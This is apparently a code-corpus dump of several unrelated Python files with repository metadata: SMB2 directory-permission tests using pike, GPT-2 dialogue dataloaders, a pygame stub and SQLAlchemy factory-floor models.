"STATUS_ACCESS_DENIED" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Create a directory named Directory_open3 with FILE_LIST_DIRECTORY permission:" directory_handle = chan.create(tree,"Directory_open3",access = pike.smb2.FILE_LIST_DIRECTORY,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create child directory inside Directory_open3, named Child_directory without FILE_LIST_DIRECTORY permission:" child_handle = chan.create(tree,"Directory_open3\Child_directory",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Child_Directory created inside Directory_open3 directory." print "Create a normal file inside Directory_open3\Child_directory named Child_file:" file_handle = chan.create(tree,"Directory_open3\Child_directory\Child_file",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Child_directory." print "Close the file handle of Child_file:" chan.close(file_handle) print "Child_file handle closed." print "Verify whether listing the contents of Child_directory:" names = map(lambda res: res.file_name,chan.query_directory(child_handle)) self.assertIn("Child_directory", names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the child directory handle:" chan.close(child_handle) print "Child_directory handle closed." print "Close the directory handle:" chan.close(directory_handle) print "Directory_open3 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 03 Passed" def test_04_open_directory_with_file_add_file(self): try: print "\n--------------------Open_Directory_TC 04 --------------------" print "Test case to open a directory with FILE_ADD_FILE in desired access, create a file and list the contents of directory\n." expected_status = "STATUS_SUCCESS" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Open a directory named Directory_open4 with FILE_ADD_FILE permission:" directory_handle =chan.create(tree,"Directory_open4",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_ADD_FILE,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create a normal file inside Directory_open4 named Child_file:" file_handle = chan.create(tree,"Directory_open4\Child_file",access = pike.smb2.FILE_READ_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Directory_open4 directory." print "Close the file handle:" chan.close(file_handle) print "Child_file handle closed." print "Verify whether Child_file is present inside the Directory_open4 directory:" names = map(lambda res: res.file_name,chan.query_directory(directory_handle)) self.assertIn("Child_file", names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open4 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 04 Passed" def test_05_open_directory_without_file_add_file(self): try: print "\n--------------------Open_Directory_TC 05 --------------------" print "Test case to open a directory without FILE_ADD_FILE in desired access, create a file and list the contents of directory\n." expected_status = "STATUS_SUCCESS" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Open a directory named Directory_open5 without FILE_ADD_FILE permission:" directory_handle =chan.create(tree,"Directory_open5",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create a normal file inside Directory_open5 named Child_file:" file_handle = chan.create(tree,"Directory_open5\Child_file",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Directory_open6 directory." print "Close the file handle:" chan.close(file_handle) print "Child_file handle closed." print "Verify whether Child_file is present inside the Directory_open5 directory:" names = map(lambda res: res.file_name,chan.query_directory(directory_handle)) self.assertIn("Child_file", names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open5 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 05 Passed" def test_06_open_directory_without_read_attributes(self): try: print "\n--------------------Open_Directory_TC 06 --------------------" print "Test case to open a directory to read the attributes without FILE_READ_ATTRIBUTES permission." expected_status = "STATUS_ACCESS_DENIED" print "Expected status for this test: ",expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Create a directory named Directory_open6 with FILE_WRITE_ATTRIBUTES permission:" directory_handle =chan.create(tree,"Directory_open6",access = pike.smb2.FILE_WRITE_ATTRIBUTES,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Reading attributes on the directory:" info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION) print "Reading attributes of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open6 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 06 Passed" def test_07_open_directory_without_write_attributes(self): try: print "\n--------------------Open_Directory_TC 07 --------------------" print "Test case to open a directory to write the attributes that does not have FILE_WRITE_ATTRIBUTES permission set." expected_status = "STATUS_ACCESS_DENIED" print "Expected status for this test: ",expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Create a directory named Directory_open7 without FILE_WRITE_ATTRIBUTES permission:" directory_handle =chan.create(tree,"Directory_open7",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Reading attributes on the directory before changing them:" info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION) print "Reading attributes of the directory completed" attribute_before = info.basic_information.file_attributes print "Directory FILE_ATTRIBUTE before changing : ",attribute_before print "Change the attributes of the directory:" with chan.set_file_info(directory_handle, pike.smb2.FileBasicInformation) as directory_info: directory_info.file_attributes = pike.smb2.FILE_ATTRIBUTE_READONLY print "Changing attributes of the directory completed." print "Query attributes on the directory after changing them:" info1 = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION) print "Querying attributes of the directory completed" attribute_after = info1.basic_information.file_attributes print "Directory FILE_ATTRIBUTE after changing : ",attribute_after actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open7 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 07 Passed" def test_08_open_directory_with_GENERIC_ALL(self): try: print "\n--------------------Open_Directory_TC 08 --------------------" print "Test case to open a directory with GENERIC_ALL permission and try related operations." expected_status = "STATUS_SUCCESS" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Create a directory named Directory_open8 with GENERIC_ALL permission:" directory_handle =chan.create(tree,"Directory_open8",access = pike.smb2.GENERIC_ALL,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create a file inside Directory_open10 directory:" file_handle = chan.create(tree,"Directory_open8\Child_file1",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE,share=pike.smb2.FILE_SHARE_DELETE ).result() print "File created inside Directory_open8 directory." print "Close the file handle:" chan.close(file_handle) print "Child_file1 file handle closed." print "Verifying FILE_ADD_FILE on Directory_open8 directory:" file_add_file =chan.create(tree,"Directory_open8\Child_file2",access = pike.smb2.GENERIC_READ,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Directory_open8 directory." print "Close the Child_file2 file handle:" chan.close(file_add_file) print "Child_file2 file handle closed." print "Verifying FILE_ADD_SUBDIRECTORY on Directory_open8 directory:" file_add_subdirectory = chan.create(tree,"Directory_open8\Child_directory",access = pike.smb2.GENERIC_READ,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created inside Directory_open8 directory." print "Close the Child_directory handle:" chan.close(file_add_subdirectory) print "Child_Directory handle closed." print "Query attributes on the directory before changing them:" info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION) print "Querying attributes of the directory completed" attribute_before = info.basic_information.file_attributes print "Directory FILE_ATTRIBUTE before changing : ",attribute_before print "Change the attributes of the directory:" with chan.set_file_info(directory_handle, pike.smb2.FileBasicInformation) as file_info: file_info.file_attributes = pike.smb2.FILE_ATTRIBUTE_READONLY print "Changing attributes of the directory completed." print "Query attributes on the directory after changing them:" info1 = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION) print "Querying attributes of the directory completed." attribute_after = info1.basic_information.file_attributes print "Directory FILE_ATTRIBUTE after changing : ",attribute_after print 'List the contents of the directory Directory_open8: ' names = map(lambda res: res.file_name,chan.query_directory(directory_handle)) self.assertIn('Child_file1', names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open8 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 08 Passed"

63.236246

231

0.664432

2,297

19,540

5.42795

0.069656

0.041707

0.056785

0.03136

0.888434

0.878409

0.846246

0.824671

0.796519

0.775746

0

0.012243

0.25174

19,540

308

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63.441558

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null

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null

0

1

0

null

0

1

0

1

0

8

25d1d68f7db66a7e83040629943665ea56ba9035

181

py

Python

08.forecaster_r0/runner/__init__.py

predora005/wheather-forecasting

deb3592ac52751ccaf81d7aa8bbb00a14d232f9f

[ "MIT" ]

null

08.forecaster_r0/runner/__init__.py

predora005/wheather-forecasting

deb3592ac52751ccaf81d7aa8bbb00a14d232f9f

[ "MIT" ]

null

08.forecaster_r0/runner/__init__.py

predora005/wheather-forecasting

deb3592ac52751ccaf81d7aa8bbb00a14d232f9f

[ "MIT" ]

null

from runner.gsm_runner_ver1 import * from runner.gsm_runner_ver2 import * from runner.gsm_runner_ver3 import * from runner.runner_2019 import * from runner.wst_runner_ver1 import *

30.166667

36

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181

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null

0

1

0

1

0

1

0

8

25d70d5bd772158cec39f05ede3028be0f8bda2a

19,570

py

Python

simpleredial/dataloader/gpt2_dataloader.py

gmftbyGMFTBY/SimpleReDial-v1

f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde

[ "MIT" ]

36

2021-10-13T10:32:08.000Z

2022-03-20T07:50:05.000Z

simpleredial/dataloader/gpt2_dataloader.py

gmftbyGMFTBY/SimpleReDial-v1

f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde

[ "MIT" ]

3

2021-11-24T10:57:59.000Z

2022-03-27T15:37:40.000Z

simpleredial/dataloader/gpt2_dataloader.py

gmftbyGMFTBY/SimpleReDial-v1

f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde

[ "MIT" ]

1

2022-03-15T07:13:22.000Z

from header import * from .utils import * from .util_func import * class GPT2Dataset(Dataset): def __init__(self, vocab, path, **args): self.args = args self.vocab = vocab self.pad = self.vocab.convert_tokens_to_ids('[PAD]') self.sep = self.vocab.convert_tokens_to_ids('[SEP]') self.cls = self.vocab.convert_tokens_to_ids('[CLS]') self.unk = self.vocab.convert_tokens_to_ids('[UNK]') if self.args['mode'] == 'test': # for test batch generation print(f'[!] set the padding side as the left') self.vocab.padding_side = 'left' suffix = args['tokenizer'].replace('/', '_') self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_{suffix}.pt' if os.path.exists(self.pp_path): self.data = torch.load(self.pp_path) print(f'[!] load preprocessed file from {self.pp_path}') return None random.seed(args['seed']) self.data = [] if self.args['mode'] == 'train': data = read_text_data_line_by_line(path) self.data = [] for text in tqdm(data): item = self.vocab.encode(text, add_special_tokens=False) for idx in range(0, len(item), self.args['max_len']-2): ids = item[idx:idx+self.args['max_len']-2] if len(ids) < self.args['min_len']: continue ids = [self.cls] + ids + [self.sep] self.data.append({'ids': ids}) else: path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt' data = torch.load(path) # random sample 100 samples data = random.sample(data, 10) self.data = [] for item in tqdm(data): context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses'] for neg in neg_responses: # prefix item = self.vocab.encode(context, add_special_tokens=False) ids = [self.cls] + item[-(self.args['max_len']-1):] item = self.vocab.encode(context+pos, add_special_tokens=False) pos_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep] item = self.vocab.encode(context+neg, add_special_tokens=False) neg_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep] self.data.append({ 'ids': ids, 'pos_ids': pos_ids, 'pos_text': context+pos, 'neg_ids': neg_ids, 'neg_text': context+neg, 'text': context, }) def __len__(self): return len(self.data) def __getitem__(self, i): bundle = self.data[i] if self.args['mode'] == 'train': ids = torch.LongTensor(bundle['ids']) return ids else: ids = torch.LongTensor(bundle['ids']) pos_ids = torch.LongTensor(bundle['pos_ids']) neg_ids = torch.LongTensor(bundle['neg_ids']) return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text'] def save(self): data = torch.save(self.data, self.pp_path) print(f'[!] save preprocessed dataset into {self.pp_path}') def collate(self, batch): if self.args['mode'] == 'train': ids = pad_sequence(batch, batch_first=True, padding_value=self.pad) mask = generate_mask(ids) ids, mask = to_cuda(ids, mask) return { 'ids': ids, 'mask': mask, } else: ids = [i[0] for i in batch] pos_ids = [i[1] for i in batch] neg_ids = [i[2] for i in batch] pos_text = [i[3] for i in batch] neg_text = [i[4] for i in batch] text = [i[5] for i in batch] # pad from the left side, batch first max_length = max([len(i) for i in ids]) n_ids = [] for i in ids: ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i]) n_ids.append(ids_) ids = torch.stack(n_ids) mask = generate_mask(ids) pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad) pos_ids_mask = generate_mask(pos_ids) neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad) neg_ids_mask = generate_mask(neg_ids) ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask = to_cuda(ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask) return { 'ids': ids, 'mask': mask, 'pos_ids': pos_ids, 'pos_ids_mask': pos_ids_mask, 'neg_ids': neg_ids, 'neg_ids_mask': neg_ids_mask, 'pos_text': pos_text, 'text': text, 'neg_text': neg_text, } class GPT2UnlikelyhoodDataset(Dataset): def __init__(self, vocab, path, **args): self.args = args self.vocab = vocab self.pad = self.vocab.convert_tokens_to_ids('[PAD]') self.sep = self.vocab.convert_tokens_to_ids('[SEP]') self.cls = self.vocab.convert_tokens_to_ids('[CLS]') self.unk = self.vocab.convert_tokens_to_ids('[UNK]') random.seed(args['seed']) if self.args['mode'] == 'test': # for test batch generation print(f'[!] set the padding side as the left') self.vocab.padding_side = 'left' suffix = args['tokenizer'].replace('/', '_') self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_unlikelyhood_{suffix}.pt' if os.path.exists(self.pp_path): self.data = torch.load(self.pp_path) print(f'[!] load preprocessed file from {self.pp_path}') return None self.data = [] if self.args['mode'] == 'train': data = read_text_data_unlikelyhood(path) # for debug data = random.sample(data, 1000) self.data = [] for utterances in tqdm(data): item = self.vocab.batch_encode_plus(utterances, add_special_tokens=False)['input_ids'] ids, cands, counter = [], [], 0 for utterance in item: if counter + len(utterance) + 2 > self.args['train_min_len'] and len(cands) > 0: ids = list(chain(*ids)) self.data.append({ 'cids': ids, 'pos_rids': utterance, 'cands': cands, }) ids, cands = [], [] else: ids.append(utterance) cands.append(utterance) counter += len(utterance) else: path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt' data = torch.load(path) # random sample 100 samples data = random.sample(data, 10) self.data = [] for item in tqdm(data): context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses'] # prefix item = self.vocab.encode(context, add_special_tokens=False) ids = [self.cls] + item[-(self.args['max_len']-1):] cids, rids = self.vocab.batch_encode_plus([context, pos], add_special_tokens=False)['input_ids'] self.truncate_pair(cids, rids, self.args['max_len']) pos_ids = [self.cls] + cids + rids + [self.sep] pos_label = [0] * (len(cids) + 1) + rids + [self.sep] neg_ids_total, neg_ids_label_total, neg_text_total = [], [], [] for neg in neg_responses: cids, rids = self.vocab.batch_encode_plus([context, neg], add_special_tokens=False)['input_ids'] self.truncate_pair(cids, rids, self.args['max_len']) neg_ids = [self.cls] + cids + rids + [self.sep] neg_label = [0] * (len(cids) + 1) + rids + [self.sep] neg_ids_total.append(neg_ids) neg_ids_label_total.append(neg_label) neg_text_total.append(context+neg) self.data.append({ 'ids': ids, 'pos_ids': pos_ids, 'pos_label': pos_label, 'pos_text': context+pos, 'neg_ids': neg_ids_total, 'neg_label': neg_ids_label_total, 'neg_text': neg_text_total, 'text': context, }) def __len__(self): return len(self.data) def truncate_pair(self, ids, rids, max_len): max_len -= 2 while True: l = len(ids) + len(rids) if l <= max_len: break if len(ids) > len(rids): ids.pop(0) else: rids.pop() def __getitem__(self, i): bundle = self.data[i] if self.args['mode'] == 'train': ids, pos_rids, cands = deepcopy(bundle['cids']), deepcopy(bundle['pos_rids']), deepcopy(bundle['cands']) cand = random.choice(cands) neg_ids = deepcopy(ids) truncate_pair(ids, pos_rids, self.args['train_max_len']) gpt2_ids = [self.cls] + ids + pos_rids + [self.sep] bert_label = [0] * (len(ids) + 1) + pos_rids + [self.sep] truncate_pair(neg_ids, cand, self.args['train_max_len']) neg_gpt2_ids = [self.cls] + neg_ids + cand + [self.sep] neg_bert_label = [0] * (len(neg_ids) + 1) + cand + [self.sep] return gpt2_ids, bert_label, neg_gpt2_ids, neg_bert_label else: ids = torch.LongTensor(bundle['ids']) pos_ids = torch.LongTensor(bundle['pos_ids']) neg_ids = [torch.LongTensor(i) for i in bundle['neg_ids']] pos_label = torch.LongTensor(bundle['pos_label']) neg_label = [torch.LongTensor(i) for i in bundle['neg_label']] return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text'], pos_label, neg_label def save(self): data = torch.save(self.data, self.pp_path) print(f'[!] save preprocessed dataset into {self.pp_path}') def collate(self, batch): if self.args['mode'] == 'train': gpt2_ids, bert_label, neg_gpt2_ids, neg_bert_label = [], [], [], [] for a, b, c, d in batch: gpt2_ids.append(torch.LongTensor(a)) bert_label.append(torch.LongTensor(b)) neg_gpt2_ids.append(torch.LongTensor(c)) neg_bert_label.append(torch.LongTensor(d)) gpt2_ids = pad_sequence(gpt2_ids, batch_first=True, padding_value=self.pad) neg_gpt2_ids = pad_sequence(neg_gpt2_ids, batch_first=True, padding_value=self.pad) bert_label = pad_sequence(bert_label, batch_first=True, padding_value=self.pad) neg_bert_label = pad_sequence(neg_bert_label, batch_first=True, padding_value=self.pad) gpt2_mask = generate_mask(gpt2_ids) neg_gpt2_mask = generate_mask(neg_gpt2_ids) gpt2_ids, gpt2_mask, bert_label = to_cuda(gpt2_ids, gpt2_mask, bert_label) neg_gpt2_ids, neg_gpt2_mask, neg_bert_label = to_cuda(neg_gpt2_ids, neg_gpt2_mask, neg_bert_label) return { 'gpt2_ids': gpt2_ids, 'gpt2_mask': gpt2_mask, 'bert_label': bert_label, 'neg_gpt2_ids': neg_gpt2_ids, 'neg_gpt2_mask': neg_gpt2_mask, 'neg_bert_label': neg_bert_label, } else: neg_ids_, neg_text_, neg_ids_mask_, neg_label_ = [], [], [], [] for i in range(10): neg_ids = [j[2][i] for j in batch] neg_text = [j[4][i] for j in batch] neg_label = [j[7][i] for j in batch] neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad) neg_label = pad_sequence(neg_label, batch_first=True, padding_value=self.pad) neg_ids_mask = generate_mask(neg_ids) neg_ids, neg_ids_mask, neg_label = to_cuda(neg_ids, neg_ids_mask, neg_label) neg_ids_.append(neg_ids) neg_ids_mask_.append(neg_ids_mask) neg_label_.append(neg_label) neg_text_.append(neg_text) ids = [i[0] for i in batch] pos_ids = [i[1] for i in batch] pos_text = [i[3] for i in batch] text = [i[5] for i in batch] pos_label = [i[6] for i in batch] # pad from the left side, batch first max_length = max([len(i) for i in ids]) n_ids = [] for i in ids: ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i]) n_ids.append(ids_) ids = torch.stack(n_ids) mask = generate_mask(ids) pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad) pos_label = pad_sequence(pos_label, batch_first=True, padding_value=self.pad) pos_ids_mask = generate_mask(pos_ids) ids, mask, pos_ids, pos_ids_mask, pos_label = to_cuda(ids, mask, pos_ids, pos_ids_mask, pos_label) return { 'ids': ids, 'mask': mask, 'pos_ids': pos_ids, 'pos_label': pos_label, 'pos_ids_mask': pos_ids_mask, 'neg_ids': neg_ids_, 'neg_label': neg_label_, 'neg_ids_mask': neg_ids_mask_, 'pos_text': pos_text, 'text': text, 'neg_text': neg_text_, } class GPT2WithNegDataset(Dataset): def __init__(self, vocab, path, **args): self.args = args self.vocab = vocab self.pad = self.vocab.convert_tokens_to_ids('[PAD]') self.sep = self.vocab.convert_tokens_to_ids('[SEP]') self.cls = self.vocab.convert_tokens_to_ids('[CLS]') self.unk = self.vocab.convert_tokens_to_ids('[UNK]') if self.args['mode'] == 'test': # for test batch generation print(f'[!] set the padding side as the left') self.vocab.padding_side = 'left' suffix = args['tokenizer'].replace('/', '_') self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_with_neg_{suffix}.pt' if os.path.exists(self.pp_path): self.data = torch.load(self.pp_path) print(f'[!] load preprocessed file from {self.pp_path}') return None random.seed(args['seed']) self.data = [] if self.args['mode'] == 'train': data = read_text_data_line_by_line(path) self.data = [] for text in tqdm(data): item = self.vocab.encode(text, add_special_tokens=False) for idx in range(0, len(item), self.args['max_len']-2): ids = item[idx:idx+self.args['max_len']-2] if len(ids) < self.args['min_len']: continue ids = [self.cls] + ids + [self.sep] self.data.append({'ids': ids}) else: path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt' data = torch.load(path) # random sample 100 samples data = random.sample(data, 10) self.data = [] for item in tqdm(data): context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses'] for neg in neg_responses: # prefix item = self.vocab.encode(context, add_special_tokens=False) ids = [self.cls] + item[-(self.args['max_len']-1):] item = self.vocab.encode(context+pos, add_special_tokens=False) pos_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep] item = self.vocab.encode(context+neg, add_special_tokens=False) neg_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep] self.data.append({ 'ids': ids, 'pos_ids': pos_ids, 'pos_text': context+pos, 'neg_ids': neg_ids, 'neg_text': context+neg, 'text': context, }) def __len__(self): return len(self.data) def __getitem__(self, i): bundle = self.data[i] if self.args['mode'] == 'train': ids = torch.LongTensor(bundle['ids']) return ids else: ids = torch.LongTensor(bundle['ids']) pos_ids = torch.LongTensor(bundle['pos_ids']) neg_ids = torch.LongTensor(bundle['neg_ids']) return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text'] def save(self): data = torch.save(self.data, self.pp_path) print(f'[!] save preprocessed dataset into {self.pp_path}') def collate(self, batch): if self.args['mode'] == 'train': ids = pad_sequence(batch, batch_first=True, padding_value=self.pad) mask = generate_mask(ids) ids, mask = to_cuda(ids, mask) return { 'ids': ids, 'mask': mask, } else: ids = [i[0] for i in batch] pos_ids = [i[1] for i in batch] neg_ids = [i[2] for i in batch] pos_text = [i[3] for i in batch] neg_text = [i[4] for i in batch] text = [i[5] for i in batch] # pad from the left side, batch first max_length = max([len(i) for i in ids]) n_ids = [] for i in ids: ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i]) n_ids.append(ids_) ids = torch.stack(n_ids) mask = generate_mask(ids) pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad) pos_ids_mask = generate_mask(pos_ids) neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad) neg_ids_mask = generate_mask(neg_ids) ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask = to_cuda(ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask) return { 'ids': ids, 'mask': mask, 'pos_ids': pos_ids, 'pos_ids_mask': pos_ids_mask, 'neg_ids': neg_ids, 'neg_ids_mask': neg_ids_mask, 'pos_text': pos_text, 'text': text, 'neg_text': neg_text, }

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null

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7

25ea1ae2ce7070f6a26c9ecacf9c8649b12203b5

104

py

Python

pygvisuals/__experimental/layout_manager.py

Impelon/PyGVisuals

7bff6199391ba35ad7f7afb1adc2601f57215856

[ "BSD-2-Clause" ]

11

2018-02-25T20:32:13.000Z

2022-03-29T16:43:05.000Z

pygvisuals/__experimental/layout_manager.py

Impelon/PyGVisuals

7bff6199391ba35ad7f7afb1adc2601f57215856

[ "BSD-2-Clause" ]

13

2017-09-11T16:21:54.000Z

2020-05-06T09:57:17.000Z

pygvisuals/__experimental/layout_manager.py

Impelon/PyGVisuals

7bff6199391ba35ad7f7afb1adc2601f57215856

[ "BSD-2-Clause" ]

7

2018-05-17T10:33:31.000Z

2020-04-16T23:35:36.000Z

import pygame.sprite class LayoutManager(pygame.sprite.LayeredDirty): """ . """ pass

10.4

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104

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7

d3811d5dac593b0dad01c056ca584469be638dd8

39,877

py

Python

DataEngineering/flaskapp/models/machine.py

SyedArsalanAmin/datascience-projects

46abaa00b4491683e20c1716e562772f345dced2

[ "MIT" ]

null

DataEngineering/flaskapp/models/machine.py

SyedArsalanAmin/datascience-projects

46abaa00b4491683e20c1716e562772f345dced2

[ "MIT" ]

null

DataEngineering/flaskapp/models/machine.py

SyedArsalanAmin/datascience-projects

46abaa00b4491683e20c1716e562772f345dced2

[ "MIT" ]

null

from flask_sqlalchemy import SQLAlchemy from sqlalchemy import Integer, String from sqlalchemy.types import DateTime, Integer, String, DateTime, JSON, Float,Boolean,BIGINT # from pangres import upsert from sqlalchemy.orm import relationship from app import db class Line(db.Model): __tablename__ = 'line' LineID = db.Column(Integer, primary_key=True, autoincrement=False) LineCode = db.Column(String(64)) LineDescription = db.Column(String(64)) CreatedAt = db.Column(DateTime) UpdatedAt = db.Column(DateTime) class Machine(db.Model): __tablename__ = 'machine' MachineID = db.Column(Integer, primary_key=True, autoincrement=False) MachineCode = db.Column(String(64)) MachineDescription = db.Column( String(64)) MachineImageUrl = db.Column( String(2056)) MachineThumbnailUrl = db.Column( String(2056)) MachineTypeID = db.Column( Integer,db.ForeignKey("machine_type.MachineTypeID")) ActiveWorkerID =db.Column( Integer, db.ForeignKey("worker.WorkerID")) LineID = db.Column( Integer,db.ForeignKey("line.LineID")) Operations =db.Column(JSON) CreatedAt=db.Column(DateTime) UpdatedAt =db.Column(DateTime) BoxID=db.Column(Integer) #db.ColumnS ADDED LATER IsMachineDown=db.Column(Boolean) LineCode =db.Column( String(64)) LineDescription =db.Column( String(64)) WorkerID=db.Column(Integer) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column( String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) MachineTypeCode =db.Column(String(64)) MachineTypeDescription=db.Column( String(64)) Allowance=db.Column( Float) line = relationship("Line") machine_type = relationship("MachineType") worker = relationship("Worker") class MachineType(db.Model): __tablename__ = 'machine_type' MachineTypeID=db.Column(Integer, primary_key = True, autoincrement=False) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class Worker(db.Model): __tablename__ = 'worker' WorkerID=db.Column(Integer, primary_key = True, autoincrement=False) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) CreatedAt=db.Column( DateTime) UpdatedAt=db.Column(DateTime) # db.Model.metadata.create_all(engine_postgres) class WorkerScan(db.Model): __tablename__ = 'worker_scan' # additional arguments to be supplied to the Table constructor should be provided using the __table_args__ declarative class attribute. __table_args__ = {'extend_existing': True} WorkerScanID=db.Column(BIGINT, primary_key = True, autoincrement=False) WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID")) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID")) WorkerOperations=db.Column(JSON) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) HasExpired=db.Column(Integer) EndedAt=db.Column(DateTime) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) MachineCode=db.Column(String(64)) MachineDescription=db.Column(String(64)) MachineImageUrl=db.Column(String(2056)) MachineThumbnailUrl=db.Column(String(2056)) MachineTypeID=db.Column(Integer, db.ForeignKey("machine_type.MachineTypeID")) ActiveWorkerID=db.Column(Integer) Operations=db.Column(JSON) BoxID=db.Column(Integer) #db.Column ADDED LATER IsMachineDown=db.Column(Boolean) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) line = relationship("Line") machine = relationship("Machine") worker = relationship("Worker") machine_type = relationship("MachineType") class 